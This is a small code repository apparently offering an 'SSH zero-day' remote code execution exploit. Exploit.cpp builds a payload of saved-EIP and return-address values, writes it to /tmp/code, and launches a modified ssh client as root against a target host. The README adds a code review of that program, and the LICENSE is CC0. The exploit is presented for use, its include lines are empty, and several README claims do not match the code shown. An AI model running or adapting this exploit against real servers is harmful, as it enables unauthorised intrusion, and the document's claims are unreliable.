├── Exploit.cpp ├── LICENSE └── README.md /Exploit.cpp: -------------------------------------------------------------------------------- 1 | /* Made by Taylor Newsome UwU Rarw X3 <3 */ 2 | /* */ 3 | /* Remote Code Execution Exploit for SSH */ 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | /* Path to modified ssh */ 12 | #define PATH_SSH "./ssh" 13 | int main(int argc, char *argv[]) 14 | { 15 | int f; 16 | int port; 17 | unsigned long addr, *ptr; 18 | char *buffer, *aux, ch, *ssh; 19 | int i; 20 | if (argc < 8) 21 | { 22 | printf("\nUsage: %s \n\n", argv[0]); 23 | fflush(stdout); 24 | exit(0); 25 | } 26 | port = atoi(argv[6]); 27 | buffer = (char *) malloc(28); 28 | ptr = (unsigned long *) buffer; 29 | *(ptr++) = 1543007393 + strtoul(argv[1], 0, 10); 30 | *(ptr++) = 0; 31 | *(ptr++) = strtoul(argv[7], 0, 10); 32 | *(ptr++) = 0; 33 | *(ptr++) = 16520 + strtoul(argv[2], 0, 10); 34 | *(ptr++) = strtoul(argv[3], 0, 10); 35 | *(ptr++) = strtoul(argv[4], 0, 10); 36 | for (i = 0; i < 28; i += 4) 37 | {aux = buffer + i; 38 | ch = *aux; 39 | *aux = *(aux + 3); 40 | *(aux + 3) = ch; 41 | ch = *(aux + 1); 42 | *(aux + 1) = *(aux + 2); 43 | *(aux + 2) = ch; 44 | } 45 | printf("\nSaved Eip: &h + %u", 1543007393 + strtoul(argv[1], 0, 10)); 46 | printf("\nReturn Address: 0x%lx", (16520 + strtoul(argv[2], 0, 10))/8); 47 | printf("\nPacket Length: %u", (strtoul(argv[3], 0, 10) + 8) & ~7); 48 | printf("\nUsername Length: %u\n\n", strtoul(argv[4], 0, 10)); 49 | fflush(stdout); 50 | f = open("/tmp/code", O_RDWR | O_CREAT, S_IRWXU); 51 | write(f, buffer, 28); 52 | close(f); 53 | ssh = (char *) malloc(strlen(PATH_SSH) + 100 + strlen(argv[5])); 54 | strcpy(ssh, PATH_SSH); 55 | sprintf(ssh + strlen(PATH_SSH), " -p %i -v -l root %s", port, argv[5]); 56 | printf("%s\n", ssh); 57 | system(ssh); 58 | exit(0); 59 | } 60 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | Creative Commons Legal Code 2 | 3 | CC0 1.0 Universal 4 | 5 | CREATIVE COMMONS CORPORATION IS NOT A LAW FIRM AND DOES NOT PROVIDE 6 | LEGAL SERVICES. DISTRIBUTION OF THIS DOCUMENT DOES NOT CREATE AN 7 | ATTORNEY-CLIENT RELATIONSHIP. CREATIVE COMMONS PROVIDES THIS 8 | INFORMATION ON AN "AS-IS" BASIS. CREATIVE COMMONS MAKES NO WARRANTIES 9 | REGARDING THE USE OF THIS DOCUMENT OR THE INFORMATION OR WORKS 10 | PROVIDED HEREUNDER, AND DISCLAIMS LIABILITY FOR DAMAGES RESULTING FROM 11 | THE USE OF THIS DOCUMENT OR THE INFORMATION OR WORKS PROVIDED 12 | HEREUNDER. 13 | 14 | Statement of Purpose 15 | 16 | The laws of most jurisdictions throughout the world automatically confer 17 | exclusive Copyright and Related Rights (defined below) upon the creator 18 | and subsequent owner(s) (each and all, an "owner") of an original work of 19 | authorship and/or a database (each, a "Work"). 20 | 21 | Certain owners wish to permanently relinquish those rights to a Work for 22 | the purpose of contributing to a commons of creative, cultural and 23 | scientific works ("Commons") that the public can reliably and without fear 24 | of later claims of infringement build upon, modify, incorporate in other 25 | works, reuse and redistribute as freely as possible in any form whatsoever 26 | and for any purposes, including without limitation commercial purposes. 27 | These owners may contribute to the Commons to promote the ideal of a free 28 | culture and the further production of creative, cultural and scientific 29 | works, or to gain reputation or greater distribution for their Work in 30 | part through the use and efforts of others. 31 | 32 | For these and/or other purposes and motivations, and without any 33 | expectation of additional consideration or compensation, the person 34 | associating CC0 with a Work (the "Affirmer"), to the extent that he or she 35 | is an owner of Copyright and Related Rights in the Work, voluntarily 36 | elects to apply CC0 to the Work and publicly distribute the Work under its 37 | terms, with knowledge of his or her Copyright and Related Rights in the 38 | Work and the meaning and intended legal effect of CC0 on those rights. 39 | 40 | 1. Copyright and Related Rights. A Work made available under CC0 may be 41 | protected by copyright and related or neighboring rights ("Copyright and 42 | Related Rights"). Copyright and Related Rights include, but are not 43 | limited to, the following: 44 | 45 | i. the right to reproduce, adapt, distribute, perform, display, 46 | communicate, and translate a Work; 47 | ii. moral rights retained by the original author(s) and/or performer(s); 48 | iii. publicity and privacy rights pertaining to a person's image or 49 | likeness depicted in a Work; 50 | iv. rights protecting against unfair competition in regards to a Work, 51 | subject to the limitations in paragraph 4(a), below; 52 | v. rights protecting the extraction, dissemination, use and reuse of data 53 | in a Work; 54 | vi. database rights (such as those arising under Directive 96/9/EC of the 55 | European Parliament and of the Council of 11 March 1996 on the legal 56 | protection of databases, and under any national implementation 57 | thereof, including any amended or successor version of such 58 | directive); and 59 | vii. other similar, equivalent or corresponding rights throughout the 60 | world based on applicable law or treaty, and any national 61 | implementations thereof. 62 | 63 | 2. Waiver. To the greatest extent permitted by, but not in contravention 64 | of, applicable law, Affirmer hereby overtly, fully, permanently, 65 | irrevocably and unconditionally waives, abandons, and surrenders all of 66 | Affirmer's Copyright and Related Rights and associated claims and causes 67 | of action, whether now known or unknown (including existing as well as 68 | future claims and causes of action), in the Work (i) in all territories 69 | worldwide, (ii) for the maximum duration provided by applicable law or 70 | treaty (including future time extensions), (iii) in any current or future 71 | medium and for any number of copies, and (iv) for any purpose whatsoever, 72 | including without limitation commercial, advertising or promotional 73 | purposes (the "Waiver"). Affirmer makes the Waiver for the benefit of each 74 | member of the public at large and to the detriment of Affirmer's heirs and 75 | successors, fully intending that such Waiver shall not be subject to 76 | revocation, rescission, cancellation, termination, or any other legal or 77 | equitable action to disrupt the quiet enjoyment of the Work by the public 78 | as contemplated by Affirmer's express Statement of Purpose. 79 | 80 | 3. Public License Fallback. Should any part of the Waiver for any reason 81 | be judged legally invalid or ineffective under applicable law, then the 82 | Waiver shall be preserved to the maximum extent permitted taking into 83 | account Affirmer's express Statement of Purpose. In addition, to the 84 | extent the Waiver is so judged Affirmer hereby grants to each affected 85 | person a royalty-free, non transferable, non sublicensable, non exclusive, 86 | irrevocable and unconditional license to exercise Affirmer's Copyright and 87 | Related Rights in the Work (i) in all territories worldwide, (ii) for the 88 | maximum duration provided by applicable law or treaty (including future 89 | time extensions), (iii) in any current or future medium and for any number 90 | of copies, and (iv) for any purpose whatsoever, including without 91 | limitation commercial, advertising or promotional purposes (the 92 | "License"). The License shall be deemed effective as of the date CC0 was 93 | applied by Affirmer to the Work. Should any part of the License for any 94 | reason be judged legally invalid or ineffective under applicable law, such 95 | partial invalidity or ineffectiveness shall not invalidate the remainder 96 | of the License, and in such case Affirmer hereby affirms that he or she 97 | will not (i) exercise any of his or her remaining Copyright and Related 98 | Rights in the Work or (ii) assert any associated claims and causes of 99 | action with respect to the Work, in either case contrary to Affirmer's 100 | express Statement of Purpose. 101 | 102 | 4. Limitations and Disclaimers. 103 | 104 | a. No trademark or patent rights held by Affirmer are waived, abandoned, 105 | surrendered, licensed or otherwise affected by this document. 106 | b. Affirmer offers the Work as-is and makes no representations or 107 | warranties of any kind concerning the Work, express, implied, 108 | statutory or otherwise, including without limitation warranties of 109 | title, merchantability, fitness for a particular purpose, non 110 | infringement, or the absence of latent or other defects, accuracy, or 111 | the present or absence of errors, whether or not discoverable, all to 112 | the greatest extent permissible under applicable law. 113 | c. Affirmer disclaims responsibility for clearing rights of other persons 114 | that may apply to the Work or any use thereof, including without 115 | limitation any person's Copyright and Related Rights in the Work. 116 | Further, Affirmer disclaims responsibility for obtaining any necessary 117 | consents, permissions or other rights required for any use of the 118 | Work. 119 | d. Affirmer understands and acknowledges that Creative Commons is not a 120 | party to this document and has no duty or obligation with respect to 121 | this CC0 or use of the Work. 122 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | | # SSH Remote Code Execution | 2 | | SSH Zero-Day | Made By ClumsyLulz | Taylor Christian Newsome | 3 | Summary: 4 | The code provided is a C program that receives input parameters and generates a packet to be sent to a server via the SSH protocol. The program creates a buffer to store data to be sent, and then writes it to a file. It then creates a command line string to execute an SSH connection to the specified host and port, using the "system" function. 5 | Issues: 6 | There are several issues with the code that have been identified: 7 | The program contains a buffer overflow vulnerability in the malloc function where only 28 bytes are allocated for the buffer, but 29 bytes are written to it. This can lead to memory corruption or a segmentation fault. 8 | The return address calculation is incorrect. The program is using the value of the packet length instead of the buffer size to determine the return address, resulting in an incorrect value. 9 | The format string in the printf statement for the return address is incorrect, resulting in an undefined behavior. 10 | The program does not check the return value of the "open" and "write" functions, which can lead to data loss or failure to write the buffer to the file. 11 | The program does not free the memory allocated for the "buffer" and "ssh" pointers, which can lead to memory leaks. 12 | The program uses the "system" function to execute the SSH command, which can lead to security vulnerabilities, as it allows arbitrary commands to be executed with elevated privileges. 13 | Recommendations: 14 | To address the issues outlined above, the following recommendations are proposed: 15 | Increase the size of the buffer allocation to 29 bytes to avoid buffer overflow issues. 16 | Correct the return address calculation by using the buffer size instead of the packet length. 17 | Correct the format string in the printf statement for the return address. 18 | Check the return values of the "open" and "write" functions, and handle errors appropriately. 19 | Free the memory allocated for the "buffer" and "ssh" pointers. 20 | Replace the "system" function with a safer alternative, such as "execvp", to avoid potential security vulnerabilities. 21 | It is recommended that these changes be made to the program to ensure its stability and security. 22 | --------------------------------------------------------------------------------